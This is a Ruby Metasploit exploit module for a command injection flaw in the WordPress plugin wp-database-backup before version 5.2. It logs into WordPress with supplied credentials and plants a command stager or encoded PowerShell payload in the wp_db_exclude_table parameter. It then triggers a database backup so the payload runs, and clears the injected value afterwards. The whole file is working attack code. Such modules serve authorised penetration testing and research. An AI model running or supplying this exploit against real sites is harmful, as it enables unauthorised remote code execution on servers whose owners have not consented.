## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Powershell include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info(info, 'Name' => 'WP Database Backup RCE', 'Description' => %q( There exists a command injection vulnerability in the Wordpress plugin `wp-database-backup` for versions < 5.2. For the backup functionality, the plugin generates a `mysqldump` command to execute. The user can choose specific tables to exclude from the backup by setting the `wp_db_exclude_table` parameter in a POST request to the `wp-database-backup` page. The names of the excluded tables are included in the `mysqldump` command unsanitized. Arbitrary commands injected through the `wp_db_exclude_table` parameter are executed each time the functionality for creating a new database backup are run. Authentication is required to successfully exploit this vulnerability. ), 'License' => MSF_LICENSE, 'Author' => [ 'Mikey Veenstra / Wordfence', # Vulnerability Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ], ], 'Platform' => [ 'win', 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ] } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => 'printf' } ] ], 'DisclosureDate' => '2019-04-24', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, 'Wordpress username', '' ]), OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]), OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ]) ]) end def check return CheckCode::Unknown unless wordpress_and_online? changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt') res = send_request_cgi( 'method' => 'GET', 'uri' => changelog_uri ) if res && res.code == 200 version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/) return CheckCode::Detected unless version && version.length > 1 vprint_status("Version of wp-database-backup detected: #{version[1]}") return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2') end CheckCode::Safe end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie res = create_exclude_table(cookie) nonce = get_nonce(res) create_backup(cookie, nonce) clear_exclude_table(cookie) end def create_exclude_table(cookie) @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php') res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup' } ) fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200 print_good('Reached the wp-database-backup settings page') if datastore['TARGET'] == 1 comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './') comm_payload = comm_payload.join('&&') comm_payload = comm_payload.gsub('\'', '') comm_payload = "; #{comm_payload} ;" else comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::" end table_res = send_request_cgi( 'method' => 'POST', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_post' => { 'wpsetting' => 'Save', 'wp_db_exclude_table[wp_comment]' => comm_payload } ) fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code print_good('Successfully added payload as an excluded table') res.get_html_document end def get_nonce(response) fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response div_res = response.at('p[@class="submit"]') fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/) fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1 wpnonce[1] end def create_backup(cookie, nonce) first_res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup', '_wpnonce' => nonce, 'action' => 'createdbbackup' } ) res = send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_get' => { 'page' => 'wp-database-backup', 'notification' => 'create' } ) fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully') print_good('Successfully created a backup of the database') end def clear_exclude_table(cookie) res = send_request_cgi( 'method' => 'POST', 'uri' => @exclude_uri, 'cookie' => cookie, 'vars_post' => { 'wpsetting' => 'Save', 'wp_db_exclude_table[wp_comment]' => 'wp_comment' } ) fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200 print_good('Successfully deleted the payload from the excluded tables list') end end